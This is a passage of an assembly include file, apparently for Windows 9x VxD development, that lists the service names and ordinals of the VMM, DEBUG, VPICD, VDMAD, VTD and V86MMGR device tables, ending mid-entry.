ord+ VMM_Service Get_Crit_Section_Status ; 0x0029 ord+ VMM_Service Call_When_Task_Switched ; 0x002a ord+ VMM_Service Suspend_VM ; 0x002b ord+ VMM_Service Resume_VM ; 0x002c ord+ VMM_Service No_Fail_Resume_VM ; 0x002d ord+ VMM_Service Nuke_VM ; 0x002e ord+ VMM_Service Crash_Cur_VM ; 0x002f ord+ VMM_Service Get_Execution_Focus ; 0x0030 ord+ VMM_Service Set_Execution_Focus ; 0x0031 ord+ VMM_Service Get_Time_Slice_Priority ; 0x0032 ord+ VMM_Service Set_Time_Slice_Priority ; 0x0033 ord+ VMM_Service Get_Time_Slice_Granularity ; 0x0034 ord+ VMM_Service Set_Time_Slice_Granularity ; 0x0035 ord+ VMM_Service Get_Time_Slice_Info ; 0x0036 ord+ VMM_Service Adjust_Execution_Time ; 0x0037 ord+ VMM_Service Release_Time_Slice ; 0x0038 ord+ VMM_Service Wake_Up_VM ; 0x0039 ord+ VMM_Service Call_When_Idle ; 0x003a ord+ VMM_Service Get_Next_VM_Handle ; 0x003b ord+ VMM_Service Set_Global_Time_Out ; 0x003c ord+ VMM_Service Set_VM_Time_Out ; 0x003d ord+ VMM_Service Cancel_Time_Out ; 0x003e ord+ VMM_Service Get_System_Time ; 0x003f ord+ VMM_Service Get_VM_Exec_Time ; 0x0040 ord+ VMM_Service Hook_V86_Int_Chain ; 0x0041 ord+ VMM_Service Get_V86_Int_Vector ; 0x0042 ord+ VMM_Service Set_V86_Int_Vector ; 0x0043 ord+ VMM_Service Get_PM_Int_Vector ; 0x0044 ord+ VMM_Service Set_PM_Int_Vector ; 0x0045 ord+ VMM_Service Simulate_Int ; 0x0046 ord+ VMM_Service Simulate_Iret ; 0x0047 ord+ VMM_Service Simulate_Far_Call ; 0x0048 ord+ VMM_Service Simulate_Far_Jmp ; 0x0049 ord+ VMM_Service Simulate_Far_Ret ; 0x004a ord+ VMM_Service Simulate_Far_Ret_N ; 0x004b ord+ VMM_Service Build_Int_Stack_Frame ; 0x004c ord+ VMM_Service Simulate_Push ; 0x004d ord+ VMM_Service Simulate_Pop ; 0x004e ord+ VMM_Service _HeapAllocate ; 0x004f ord+ VMM_Service _HeapReAllocate ; 0x0050 ord+ VMM_Service _HeapFree ; 0x0051 ord+ VMM_Service _HeapGetSize ; 0x0052 ord+ VMM_Service _PageAllocate ; 0x0053 ord+ VMM_Service _PageReAllocate ; 0x0054 ord+ VMM_Service _PageFree ; 0x0055 ord+ VMM_Service _PageLock ; 0x0056 ord+ VMM_Service _PageUnLock ; 0x0057 ord+ VMM_Service _PageGetSizeAddr ; 0x0058 ord+ VMM_Service _PageGetAllocInfo ; 0x0059 ord+ VMM_Service _GetFreePageCount ; 0x005a ord+ VMM_Service _GetSysPageCount ; 0x005b ord+ VMM_Service _GetVMPgCount ; 0x005c ord+ VMM_Service _MapIntoV86 ; 0x005d ord+ VMM_Service _PhysIntoV86 ; 0x005e ord+ VMM_Service _TestGlobalV86Mem ; 0x005f ord+ VMM_Service _ModifyPageBits ; 0x0060 ord+ VMM_Service _CopyPageTable ; 0x0061 ord+ VMM_Service _LinMapIntoV86 ; 0x0062 ord+ VMM_Service _LinPageLock ; 0x0063 ord+ VMM_Service _LinPageUnLock ; 0x0064 ord+ VMM_Service _SetResetV86Pageable ; 0x0065 ord+ VMM_Service _GetV86PageableArray ; 0x0066 ord+ VMM_Service _PageCheckLinRange ; 0x0067 ord+ VMM_Service _PageOutDirtyPages ; 0x0068 ord+ VMM_Service _PageDiscardPages ; 0x0069 ord+ VMM_Service _GetNulPageHandle ; 0x006a ord+ VMM_Service _GetFirstV86Page ; 0x006b ord+ VMM_Service _MapPhysToLinear ; 0x006c ord+ VMM_Service _GetAppFlatDSAlias ; 0x006d ord+ VMM_Service _SelectorMapFlat ; 0x006e ord+ VMM_Service _GetDemandPageInfo ; 0x006f ord+ VMM_Service _GetSetPageOutCount ; 0x0070 ord+ VMM_Service Hook_V86_Page ; 0x0071 ord+ VMM_Service _Assign_Device_V86_Pages ; 0x0072 ord+ VMM_Service _DeAssign_Device_V86_Pages ; 0x0073 ord+ VMM_Service _Get_Device_V86_Pages_Array ; 0x0074 ord+ VMM_Service MMGR_SetNULPageAddr ; 0x0075 ord+ VMM_Service _Allocate_GDT_Selector ; 0x0076 ord+ VMM_Service _Free_GDT_Selector ; 0x0077 ord+ VMM_Service _Allocate_LDT_Selector ; 0x0078 ord+ VMM_Service _Free_LDT_Selector ; 0x0079 ord+ VMM_Service _BuildDescriptorDWORDs ; 0x007a ord+ VMM_Service _GetDescriptor ; 0x007b ord+ VMM_Service _SetDescriptor ; 0x007c ord+ VMM_Service _MMGR_Toggle_HMA ; 0x007d ord+ VMM_Service Get_Fault_Hook_Addrs ; 0x007e ord+ VMM_Service Hook_V86_Fault ; 0x007f ord+ VMM_Service Hook_PM_Fault ; 0x0080 ord+ VMM_Service Hook_VMM_Fault ; 0x0081 ord+ VMM_Service Begin_Nest_V86_Exec ; 0x0082 ord+ VMM_Service Begin_Nest_Exec ; 0x0083 ord+ VMM_Service Exec_Int ; 0x0084 ord+ VMM_Service Resume_Exec ; 0x0085 ord+ VMM_Service End_Nest_Exec ; 0x0086 ord+ VMM_Service Allocate_PM_App_CB_Area ; 0x0087 ord+ VMM_Service Get_Cur_PM_App_CB ; 0x0088 ord+ VMM_Service Set_V86_Exec_Mode ; 0x0089 ord+ VMM_Service Set_PM_Exec_Mode ; 0x008a ord+ VMM_Service Begin_Use_Locked_PM_Stack ; 0x008b ord+ VMM_Service End_Use_Locked_PM_Stack ; 0x008c ord+ VMM_Service Save_Client_State ; 0x008d ord+ VMM_Service Restore_Client_State ; 0x008e ord+ VMM_Service Exec_VxD_Int ; 0x008f ord+ VMM_Service Hook_Device_Service ; 0x0090 ord+ VMM_Service Hook_Device_V86_API ; 0x0091 ord+ VMM_Service Hook_Device_PM_API ; 0x0092 ord+ VMM_Service System_Control ; 0x0093 ord+ VMM_Service Simulate_IO ; 0x0094 ord+ VMM_Service Install_Mult_IO_Handlers ; 0x0095 ord+ VMM_Service Install_IO_Handler ; 0x0096 ord+ VMM_Service Enable_Global_Trapping ; 0x0097 ord+ VMM_Service Enable_Local_Trapping ; 0x0098 ord+ VMM_Service Disable_Global_Trapping ; 0x0099 ord+ VMM_Service Disable_Local_Trapping ; 0x009a ord+ VMM_Service List_Create ; 0x009b ord+ VMM_Service List_Destroy ; 0x009c ord+ VMM_Service List_Allocate ; 0x009d ord+ VMM_Service List_Attach ; 0x009e ord+ VMM_Service List_Attach_Tail ; 0x009f ord+ VMM_Service List_Insert ; 0x00a0 ord+ VMM_Service List_Remove ; 0x00a1 ord+ VMM_Service List_Deallocate ; 0x00a2 ord+ VMM_Service List_Get_First ; 0x00a3 ord+ VMM_Service List_Get_Next ; 0x00a4 ord+ VMM_Service List_Remove_First ; 0x00a5 ord+ VMM_Service _AddInstanceItem ; 0x00a6 ord+ VMM_Service _Allocate_Device_CB_Area ; 0x00a7 ord+ VMM_Service _Allocate_Global_V86_Data_Area ; 0x00a8 ord+ VMM_Service _Allocate_Temp_V86_Data_Area ; 0x00a9 ord+ VMM_Service _Free_Temp_V86_Data_Area ; 0x00aa ord+ VMM_Service Get_Profile_Decimal_Int ; 0x00ab ord+ VMM_Service Convert_Decimal_String ; 0x00ac ord+ VMM_Service Get_Profile_Fixed_Point ; 0x00ad ord+ VMM_Service Convert_Fixed_Point_String ; 0x00ae ord+ VMM_Service Get_Profile_Hex_Int ; 0x00af ord+ VMM_Service Convert_Hex_String ; 0x00b0 ord+ VMM_Service Get_Profile_Boolean ; 0x00b1 ord+ VMM_Service Convert_Boolean_String ; 0x00b2 ord+ VMM_Service Get_Profile_String ; 0x00b3 ord+ VMM_Service Get_Next_Profile_String ; 0x00b4 ord+ VMM_Service Get_Environment_String ; 0x00b5 ord+ VMM_Service Get_Exec_Path ; 0x00b6 ord+ VMM_Service Get_Config_Directory ; 0x00b7 ord+ VMM_Service OpenFile ; 0x00b8 ord+ VMM_Service Get_PSP_Segment ; 0x00b9 ord+ VMM_Service GetDOSVectors ; 0x00ba ord+ VMM_Service Get_Machine_Info ; 0x00bb ord+ VMM_Service GetSet_HMA_Info ; 0x00bc ord+ VMM_Service Set_System_Exit_Code ; 0x00bd ord+ VMM_Service Fatal_Error_Handler ; 0x00be ord+ VMM_Service Fatal_Memory_Error ; 0x00bf ord+ VMM_Service Update_System_Clock ; 0x00c0 ord+ VMM_Service Test_Debug_Installed ; 0x00c1 ord+ VMM_Service Out_Debug_String ; 0x00c2 ord+ VMM_Service Out_Debug_Chr ; 0x00c3 ord+ VMM_Service In_Debug_Chr ; 0x00c4 ord+ VMM_Service Debug_Convert_Hex_Binary ; 0x00c5 ord+ VMM_Service Debug_Convert_Hex_Decimal ; 0x00c6 ord+ VMM_Service Debug_Test_Valid_Handle ; 0x00c7 ord+ VMM_Service Validate_Client_Ptr ; 0x00c8 ord+ VMM_Service Test_Reenter ; 0x00c9 ord+ VMM_Service Queue_Debug_String ; 0x00ca ord+ VMM_Service Log_Proc_Call ; 0x00cb ord+ VMM_Service Debug_Test_Cur_VM ; 0x00cc ord+ VMM_Service Get_PM_Int_Type ; 0x00cd ord+ VMM_Service Set_PM_Int_Type ; 0x00ce ord+ VMM_Service Get_Last_Updated_System_Time ; 0x00cf ord+ VMM_Service Get_Last_Updated_VM_Exec_Time ; 0x00d0 ord+ VMM_Service Test_DBCS_Lead_Byte ; 0x00d1 ord+ VMM_Service _AddFreePhysPage ; 0x00d2 ord+ VMM_Service _PageResetHandlePAddr ; 0x00d3 ord+ VMM_Service _SetLastV86Page ; 0x00d4 ord+ VMM_Service _GetLastV86Page ; 0x00d5 ord+ VMM_Service _MapFreePhysReg ; 0x00d6 ord+ VMM_Service _UnmapFreePhysReg ; 0x00d7 ord+ VMM_Service _XchgFreePhysReg ; 0x00d8 ord+ VMM_Service _SetFreePhysRegCalBk ; 0x00d9 ord+ VMM_Service Get_Next_Arena ; 0x00da ord+ VMM_Service Get_Name_Of_Ugly_TSR ; 0x00db ord+ VMM_Service Get_Debug_Options ; 0x00dc ord+ VMM_Service Set_Physical_HMA_Alias ; 0x00dd ord+ VMM_Service _GetGlblRng0V86IntBase ; 0x00de ord+ VMM_Service _Add_Global_V86_Data_Area ; 0x00df ord+ VMM_Service GetSetDetailedVMError ; 0x00e0 ord+ VMM_Service Is_Debug_Chr ; 0x00e1 ord+ VMM_Service Clear_Mono_Screen ; 0x00e2 ord+ VMM_Service Out_Mono_Chr ; 0x00e3 ord+ VMM_Service Out_Mono_String ; 0x00e4 ord+ VMM_Service Set_Mono_Cur_Pos ; 0x00e5 ord+ VMM_Service Get_Mono_Cur_Pos ; 0x00e6 ord+ VMM_Service Get_Mono_Chr ; 0x00e7 ord+ VMM_Service Locate_Byte_In_ROM ; 0x00e8 ord+ VMM_Service Hook_Invalid_Page_Fault ; 0x00e9 ord+ VMM_Service Unhook_Invalid_Page_Fault ; 0x00ea ord+ VMM_Service Set_Delete_On_Exit_File ; 0x00eb ord+ VMM_Service Close_VM ; 0x00ec ord+ VMM_Service Enable_Touch_1st_Meg ; 0x00ed ord+ VMM_Service Disable_Touch_1st_Meg ; 0x00ee ord+ VMM_Service Install_Exception_Handler ; 0x00ef ord+ VMM_Service Remove_Exception_Handler ; 0x00f0 ord+ VMM_Service Get_Crit_Status_No_Block ; 0x00f1 ord+ VMM_Service _GetLastUpdatedThreadExecTime ; 0x00f2 ord+ VMM_Service _Trace_Out_Service ; 0x00f3 ord+ VMM_Service _Debug_Out_Service ; 0x00f4 ord+ VMM_Service _Debug_Flags_Service ; 0x00f5 ord+ VMM_Service VMMAddImportModuleName ; 0x00f6 ord+ VMM_Service VMM_Add_DDB ; 0x00f7 ord+ VMM_Service VMM_Remove_DDB ; 0x00f8 ord+ VMM_Service Test_VM_Ints_Enabled ; 0x00f9 ord+ VMM_Service _BlockOnID ; 0x00fa ord+ VMM_Service Schedule_Thread_Event ; 0x00fb ord+ VMM_Service Cancel_Thread_Event ; 0x00fc ord+ VMM_Service Set_Thread_Time_Out ; 0x00fd ord+ VMM_Service Set_Async_Time_Out ; 0x00fe ord+ VMM_Service _AllocateThreadDataSlot ; 0x00ff ord+ VMM_Service _FreeThreadDataSlot ; 0x0100 ord+ VMM_Service _CreateMutex ; 0x0101 ord+ VMM_Service _DestroyMutex ; 0x0102 ord+ VMM_Service _GetMutexOwner ; 0x0103 ord+ VMM_Service Call_When_Thread_Switched ; 0x0104 ord+ VMM_Service VMMCreateThread ; 0x0105 ord+ VMM_Service _GetThreadExecTime ; 0x0106 ord+ VMM_Service VMMTerminateThread ; 0x0107 ord+ VMM_Service Get_Cur_Thread_Handle ; 0x0108 ord+ VMM_Service Test_Cur_Thread_Handle ; 0x0109 ord+ VMM_Service Get_Sys_Thread_Handle ; 0x010a ord+ VMM_Service Test_Sys_Thread_Handle ; 0x010b ord+ VMM_Service Validate_Thread_Handle ; 0x010c ord+ VMM_Service Get_Initial_Thread_Handle ; 0x010d ord+ VMM_Service Test_Initial_Thread_Handle ; 0x010e ord+ VMM_Service Debug_Test_Valid_Thread_Handle ; 0x010f ord+ VMM_Service Debug_Test_Cur_Thread ; 0x0110 ord+ VMM_Service VMM_GetSystemInitState ; 0x0111 ord+ VMM_Service Cancel_Call_When_Thread_Switched ; 0x0112 ord+ VMM_Service Get_Next_Thread_Handle ; 0x0113 ord+ VMM_Service Adjust_Thread_Exec_Priority ; 0x0114 ord+ VMM_Service _Deallocate_Device_CB_Area ; 0x0115 ord+ VMM_Service Remove_IO_Handler ; 0x0116 ord+ VMM_Service Remove_Mult_IO_Handlers ; 0x0117 ord+ VMM_Service Unhook_V86_Int_Chain ; 0x0118 ord+ VMM_Service Unhook_V86_Fault ; 0x0119 ord+ VMM_Service Unhook_PM_Fault ; 0x011a ord+ VMM_Service Unhook_VMM_Fault ; 0x011b ord+ VMM_Service Unhook_Device_Service ; 0x011c ord+ VMM_Service _PageReserve ; 0x011d ord+ VMM_Service _PageCommit ; 0x011e ord+ VMM_Service _PageDecommit ; 0x011f ord+ VMM_Service _PagerRegister ; 0x0120 ord+ VMM_Service _PagerQuery ; 0x0121 ord+ VMM_Service _PagerDeregister ; 0x0122 ord+ VMM_Service _ContextCreate ; 0x0123 ord+ VMM_Service _ContextDestroy ; 0x0124 ord+ VMM_Service _PageAttach ; 0x0125 ord+ VMM_Service _PageFlush ; 0x0126 ord+ VMM_Service _SignalID ; 0x0127 ord+ VMM_Service _PageCommitPhys ; 0x0128 ord+ VMM_Service _Register_Win32_Services ; 0x0129 ord+ VMM_Service Cancel_Call_When_Not_Critical ; 0x012a ord+ VMM_Service Cancel_Call_When_Idle ; 0x012b ord+ VMM_Service Cancel_Call_When_Task_Switched ; 0x012c ord+ VMM_Service _Debug_Printf_Service ; 0x012d ord+ VMM_Service _EnterMutex ; 0x012e ord+ VMM_Service _LeaveMutex ; 0x012f ord+ VMM_Service Simulate_VM_IO ; 0x0130 ord+ VMM_Service Signal_Semaphore_No_Switch ; 0x0131 ord+ VMM_Service _ContextSwitch ; 0x0132 ord+ VMM_Service _PageModifyPermissions ; 0x0133 ord+ VMM_Service _PageQuery ; 0x0134 ord+ VMM_Service _EnterMustComplete ; 0x0135 ord+ VMM_Service _LeaveMustComplete ; 0x0136 ord+ VMM_Service _ResumeExecMustComplete ; 0x0137 ord+ VMM_Service _GetThreadTerminationStatus ; 0x0138 ord+ VMM_Service _GetInstanceInfo ; 0x0139 ord+ VMM_Service _ExecIntMustComplete ; 0x013a ord+ VMM_Service _ExecVxDIntMustComplete ; 0x013b ord+ VMM_Service Begin_V86_Serialization ; 0x013c ord+ VMM_Service Unhook_V86_Page ; 0x013d ord+ VMM_Service VMM_GetVxDLocationList ; 0x013e ord+ VMM_Service VMM_GetDDBList ; 0x013f ord+ VMM_Service Unhook_NMI_Event ; 0x0140 ord+ VMM_Service Get_Instanced_V86_Int_Vector ; 0x0141 ord+ VMM_Service Get_Set_Real_DOS_PSP ; 0x0142 ord+ VMM_Service Call_Priority_Thread_Event ; 0x0143 ord+ VMM_Service Get_System_Time_Address ; 0x0144 ord+ VMM_Service Get_Crit_Status_Thread ; 0x0145 ord+ VMM_Service Get_DDB ; 0x0146 ord+ VMM_Service Directed_Sys_Control ; 0x0147 ord+ VMM_Service _RegOpenKey ; 0x0148 ord+ VMM_Service _RegCloseKey ; 0x0149 ord+ VMM_Service _RegCreateKey ; 0x014a ord+ VMM_Service _RegDeleteKey ; 0x014b ord+ VMM_Service _RegEnumKey ; 0x014c ord+ VMM_Service _RegQueryValue ; 0x014d ord+ VMM_Service _RegSetValue ; 0x014e ord+ VMM_Service _RegDeleteValue ; 0x014f ord+ VMM_Service _RegEnumValue ; 0x0150 ord+ VMM_Service _RegQueryValueEx ; 0x0151 ord+ VMM_Service _RegSetValueEx ; 0x0152 ord+ VMM_Service _CallRing3 ; 0x0153 ord+ VMM_Service Exec_PM_Int ; 0x0154 ord+ VMM_Service _RegFlushKey ; 0x0155 ord+ VMM_Service _PageCommitContig ; 0x0156 ord+ VMM_Service _GetCurrentContext ; 0x0157 ord+ VMM_Service _LocalizeSprintf ; 0x0158 ord+ VMM_Service _LocalizeStackSprintf ; 0x0159 ord+ VMM_Service Call_Restricted_Event ; 0x015a ord+ VMM_Service Cancel_Restricted_Event ; 0x015b ord+ VMM_Service Register_PEF_Provider ; 0x015c ord+ VMM_Service _GetPhysPageInfo ; 0x015d ord+ VMM_Service _RegQueryInfoKey ; 0x015e ord+ VMM_Service MemArb_Reserve_Pages ; 0x015f ord+ VMM_Service Time_Slice_Sys_VM_Idle ; 0x0160 ord+ VMM_Service Time_Slice_Sleep ; 0x0161 ord+ VMM_Service Boost_With_Decay ; 0x0162 ord+ VMM_Service Set_Inversion_Pri ; 0x0163 ord+ VMM_Service Reset_Inversion_Pri ; 0x0164 ord+ VMM_Service Release_Inversion_Pri ; 0x0165 ord+ VMM_Service Get_Thread_Win32_Pri ; 0x0166 ord+ VMM_Service Set_Thread_Win32_Pri ; 0x0167 ord+ VMM_Service Set_Thread_Static_Boost ; 0x0168 ord+ VMM_Service Set_VM_Static_Boost ; 0x0169 ord+ VMM_Service Release_Inversion_Pri_ID ; 0x016a ord+ VMM_Service Attach_Thread_To_Group ; 0x016b ord+ VMM_Service Detach_Thread_From_Group ; 0x016c ord+ VMM_Service Set_Group_Static_Boost ; 0x016d ord+ VMM_Service _GetRegistryPath ; 0x016e ord+ VMM_Service _GetRegistryKey ; 0x016f ord+ VMM_Service Cleanup_Thread_State ; 0x0170 ord+ VMM_Service _RegRemapPreDefKey ; 0x0171 ord+ VMM_Service End_V86_Serialization ; 0x0172 ord+ VMM_Service _Assert_Range ; 0x0173 ord+ VMM_Service _Sprintf ; 0x0174 ord+ VMM_Service _PageChangePager ; 0x0175 ord+ VMM_Service _RegCreateDynKey ; 0x0176 ord+ VMM_Service _RegQueryMultipleValues ; 0x0177 ord+ VMM_Service Boost_Thread_With_VM ; 0x0178 ord+ VMM_Service Get_Boot_Flags ; 0x0179 ord+ VMM_Service Set_Boot_Flags ; 0x017a ord+ VMM_Service _lstrcpyn ; 0x017b ord+ VMM_Service _lstrlen ; 0x017c ord+ VMM_Service _lmemcpy ; 0x017d ord+ VMM_Service _GetVxDName ; 0x017e ord+ VMM_Service Force_Mutexes_Free ; 0x017f ord+ VMM_Service Restore_Forced_Mutexes ; 0x0180 ord+ VMM_Service _AddReclaimableItem ; 0x0181 ord+ VMM_Service _SetReclaimableItem ; 0x0182 ord+ VMM_Service _EnumReclaimableItem ; 0x0183 ord+ VMM_Service Time_Slice_Wake_Sys_VM ; 0x0184 ord+ VMM_Service VMM_Replace_Global_Environment ; 0x0185 ord+ VMM_Service Begin_Non_Serial_Nest_V86_Exec ; 0x0186 ord+ VMM_Service Get_Nest_Exec_Status ; 0x0187 ord+ VMM_Service Open_Boot_Log ; 0x0188 ord+ VMM_Service Write_Boot_Log ; 0x0189 ord+ VMM_Service Close_Boot_Log ; 0x018a ord+ VMM_Service EnableDisable_Boot_Log ; 0x018b ord+ VMM_Service _Call_On_My_Stack ; 0x018c ord+ VMM_Service Get_Inst_V86_Int_Vec_Base ; 0x018d ord+ VMM_Service _lstrcmpi ; 0x018e ord+ VMM_Service _strupr ; 0x018f ord+ VMM_Service Log_Fault_Call_Out ; 0x0190 ord+ VMM_Service _AtEventTime ; 0x0191 ord++%ifdef WIN403SERVICES+ VMM_Service _PageOutPages ; 0x0192 ord+ VMM_Service _Call_On_My_Not_Flat_Stack ; 0x0193 ord+ VMM_Service _LinRegionLock ; 0x0194 ord+ VMM_Service _LinRegionUnLock ; 0x0195 ord+ VMM_Service _AttemptingSomethingDangerous ; 0x0196 ord+ VMM_Service _Vsprintf ; 0x0197 ord+ VMM_Service _Vsprintfw ; 0x0198 ord+ VMM_Service Load_FS_Service ; 0x0199 ord+ VMM_Service Assert_FS_Service ; 0x019a ord+ VMM_Service ObsoleteRtlUnwind ; 0x019b ord+ VMM_Service ObsoleteRtlRaiseException ; 0x019c ord+ VMM_Service ObsoleteRtlRaiseStatus ; 0x019d ord+ VMM_Service ObsoleteKeGetCurrentIrql ; 0x019e ord+ VMM_Service ObsoleteKfRaiseIrql ; 0x019f ord+ VMM_Service ObsoleteKfLowerIrql ; 0x01a0 ord+ VMM_Service _Begin_Preemptable_Code ; 0x01a1 ord+ VMM_Service _End_Preemptable_Code ; 0x01a2 ord+ VMM_Service Set_Preemptable_Count ; 0x01a3 ord+ VMM_Service ObsoleteKeInitializeDpc ; 0x01a4 ord+ VMM_Service ObsoleteKeInsertQueueDpc ; 0x01a5 ord+ VMM_Service ObsoleteKeRemoveQueueDpc ; 0x01a6 ord+ VMM_Service HeapAllocateEx ; 0x01a7 ord+ VMM_Service HeapReAllocateEx ; 0x01a8 ord+ VMM_Service HeapGetSizeEx ; 0x01a9 ord+ VMM_Service HeapFreeEx ; 0x01aa ord+ VMM_Service _Get_CPUID_Flags ; 0x01ab ord+ VMM_Service KeCheckDivideByZeroTrap ; 0x01ac ord+%endif++%ifdef WIN41SERVICES+ VMM_Service _RegisterGARTHandler ; 0x01ad ord+ VMM_Service _GARTReserve ; 0x01ae ord+ VMM_Service _GARTCommit ; 0x01af ord+ VMM_Service _GARTUnCommit ; 0x01b0 ord+ VMM_Service _GARTFree ; 0x01b1 ord+ VMM_Service _GARTMemAttributes ; 0x01b2 ord+ VMM_Service KfRaiseIrqlToDpcLevel ; 0x01b3 ord+ VMM_Service VMMCreateThreadEx ; 0x01b4 ord+ VMM_Service _FlushCaches ; 0x01b5 ord+ VMM_Service Set_Thread_Win32_Pri_NoYield ; 0x01b6 ord+ VMM_Service _FlushMappedCacheBlock ; 0x01b7 ord+ VMM_Service _ReleaseMappedCacheBlock ; 0x01b8 ord+ VMM_Service Run_Preemptable_Events ; 0x01b9 ord+ VMM_Service _MMPreSystemExit ; 0x01ba ord+ VMM_Service _MMPageFileShutDown ; 0x01bb ord+ VMM_Service _Set_Global_Time_Out_Ex ; 0x01bc ord+ VMM_Service Query_Thread_Priority ; 0x01bd ord+%endif+End_Service_Table VMM++Begin_Service_Table DEBUG ; 0x0002+ DEBUG_Service DEBUG_Get_Version ; 0x0000 ord+ DEBUG_Service DEBUG_Fault ; 0x0001 ord+ DEBUG_Service DEBUG_CheckFault ; 0x0002 ord+ DEBUG_Service _DEBUG_LoadSyms ; 0x0003 ord+End_Service_Table DEBUG++Begin_Service_Table VPICD ; 0x0003+ VPICD_Service VPICD_Get_Version ; 0x0000 ord+ VPICD_Service VPICD_Virtualize_IRQ ; 0x0001 ord+ VPICD_Service VPICD_Set_Int_Request ; 0x0002 ord+ VPICD_Service VPICD_Clear_Int_Request ; 0x0003 ord+ VPICD_Service VPICD_Phys_EOI ; 0x0004 ord+ VPICD_Service VPICD_Get_Complete_Status ; 0x0005 ord+ VPICD_Service VPICD_Get_Status ; 0x0006 ord+ VPICD_Service VPICD_Test_Phys_Request ; 0x0007 ord+ VPICD_Service VPICD_Physically_Mask ; 0x0008 ord+ VPICD_Service VPICD_Physically_Unmask ; 0x0009 ord+ VPICD_Service VPICD_Set_Auto_Masking ; 0x000a ord+ VPICD_Service VPICD_Get_IRQ_Complete_Status ; 0x000b ord+ VPICD_Service VPICD_Convert_Handle_To_IRQ ; 0x000c ord+ VPICD_Service VPICD_Convert_IRQ_To_Int ; 0x000d ord+ VPICD_Service VPICD_Convert_Int_To_IRQ ; 0x000e ord+ VPICD_Service VPICD_Call_When_Hw_Int ; 0x000f ord+ VPICD_Service VPICD_Force_Default_Owner ; 0x0010 ord+ VPICD_Service VPICD_Force_Default_Behavior ; 0x0011 ord+ VPICD_Service VPICD_Auto_Mask_At_Inst_Swap ; 0x0012 ord+ VPICD_Service VPICD_Begin_Inst_Page_Swap ; 0x0013 ord+ VPICD_Service VPICD_End_Inst_Page_Swap ; 0x0014 ord+ VPICD_Service VPICD_Virtual_EOI ; 0x0015 ord+ VPICD_Service VPICD_Get_Virtualization_Count ; 0x0016 ord+ VPICD_Service VPICD_Post_Sys_Critical_Init ; 0x0017 ord+ VPICD_Service VPICD_VM_SlavePIC_Mask_Change ; 0x0018 ord+ VPICD_Service _VPICD_Clear_IR_Bits ; 0x0019 ord+ VPICD_Service _VPICD_Get_Level_Mask ; 0x001a ord+ VPICD_Service _VPICD_Set_Level_Mask ; 0x001b ord+ VPICD_Service _VPICD_Set_Irql_Mask ; 0x001c ord+ VPICD_Service _VPICD_Set_Channel_Irql ; 0x001d ord+ VPICD_Service _VPICD_Prepare_For_Shutdown ; 0x001e ord+ VPICD_Service _VPICD_Register_Trigger_Handler ; 0x001f ord+End_Service_Table VPICD++Begin_Service_Table VDMAD ; 0x0004+ VDMAD_Service VDMAD_Get_Version ; 0x0000 ord+ VDMAD_Service VDMAD_Virtualize_Channel ; 0x0001 ord+ VDMAD_Service VDMAD_Get_Region_Info ; 0x0002 ord+ VDMAD_Service VDMAD_Set_Region_Info ; 0x0003 ord+ VDMAD_Service VDMAD_Get_Virt_State ; 0x0004 ord+ VDMAD_Service VDMAD_Set_Virt_State ; 0x0005 ord+ VDMAD_Service VDMAD_Set_Phys_State ; 0x0006 ord+ VDMAD_Service VDMAD_Mask_Channel ; 0x0007 ord+ VDMAD_Service VDMAD_UnMask_Channel ; 0x0008 ord+ VDMAD_Service VDMAD_Lock_DMA_Region ; 0x0009 ord+ VDMAD_Service VDMAD_Unlock_DMA_Region ; 0x000a ord+ VDMAD_Service VDMAD_Scatter_Lock ; 0x000b ord+ VDMAD_Service VDMAD_Scatter_Unlock ; 0x000c ord+ VDMAD_Service VDMAD_Reserve_Buffer_Space ; 0x000d ord+ VDMAD_Service VDMAD_Request_Buffer ; 0x000e ord+ VDMAD_Service VDMAD_Release_Buffer ; 0x000f ord+ VDMAD_Service VDMAD_Copy_To_Buffer ; 0x0010 ord+ VDMAD_Service VDMAD_Copy_From_Buffer ; 0x0011 ord+ VDMAD_Service VDMAD_Default_Handler ; 0x0012 ord+ VDMAD_Service VDMAD_Disable_Translation ; 0x0013 ord+ VDMAD_Service VDMAD_Enable_Translation ; 0x0014 ord+ VDMAD_Service VDMAD_Get_EISA_Adr_Mode ; 0x0015 ord+ VDMAD_Service VDMAD_Set_EISA_Adr_Mode ; 0x0016 ord+ VDMAD_Service VDMAD_Unlock_DMA_Region_No_Dirty ; 0x0017 ord+ VDMAD_Service VDMAD_Phys_Mask_Channel ; 0x0018 ord+ VDMAD_Service VDMAD_Phys_Unmask_Channel ; 0x0019 ord+ VDMAD_Service VDMAD_Unvirtualize_Channel ; 0x001a ord+ VDMAD_Service VDMAD_Set_IO_Address ; 0x001b ord+ VDMAD_Service VDMAD_Get_Phys_Count ; 0x001c ord+ VDMAD_Service VDMAD_Get_Phys_Status ; 0x001d ord+ VDMAD_Service VDMAD_Get_Max_Phys_Page ; 0x001e ord+ VDMAD_Service VDMAD_Set_Channel_Callbacks ; 0x001f ord+ VDMAD_Service VDMAD_Get_Virt_Count ; 0x0020 ord+ VDMAD_Service VDMAD_Set_Virt_Count ; 0x0021 ord+ VDMAD_Service VDMAD_Get_Virt_Address ; 0x0022 ord+ VDMAD_Service VDMAD_Set_Virt_Address ; 0x0023 ord+End_Service_Table VDMAD++Begin_Service_Table VTD ; 0x0005+ VTD_Service VTD_Get_Version ; 0x0000 ord+ VTD_Service VTD_Update_System_Clock ; 0x0001 ord+ VTD_Service VTD_Get_Interrupt_Period ; 0x0002 ord+ VTD_Service VTD_Begin_Min_Int_Period ; 0x0003 ord+ VTD_Service VTD_End_Min_Int_Period ; 0x0004 ord+ VTD_Service VTD_Disable_Trapping ; 0x0005 ord+ VTD_Service VTD_Enable_Trapping ; 0x0006 ord+ VTD_Service VTD_Get_Real_Time ; 0x0007 ord+ VTD_Service VTD_Get_Date_And_Time ; 0x0008 ord+ VTD_Service VTD_Adjust_VM_Count ; 0x0009 ord+ VTD_Service VTD_Delay ; 0x000a ord+ VTD_Service VTD_GetTimeZoneBias ; 0x000b ord+ VTD_Service ObsoleteKeQueryPerformanceCounter ; 0x000c ord+ VTD_Service ObsoleteKeQuerySystemTime ; 0x000d ord+ VTD_Service VTD_Install_IO_Handle ; 0x000e ord+ VTD_Service VTD_Remove_IO_Handle ; 0x000f ord+ VTD_Service _VTD_Delay_Ex ; 0x0010 ord+ VTD_Service VTD_Init_Timer ; 0x0011 ord+End_Service_Table VTD++Begin_Service_Table V86MMGR ; 0x0006+ V86MMGR_Service V86MMGR_Get_Version ; 0x0000 ord+ V86MMGR_Service V86MMGR_Allocate_V86_Pages ; 0x0001 ord+ V86MMGR_Service V86MMGR_Set_EMS_XMS_Limits ; 0x0002 ord+ V86MMGR_Service 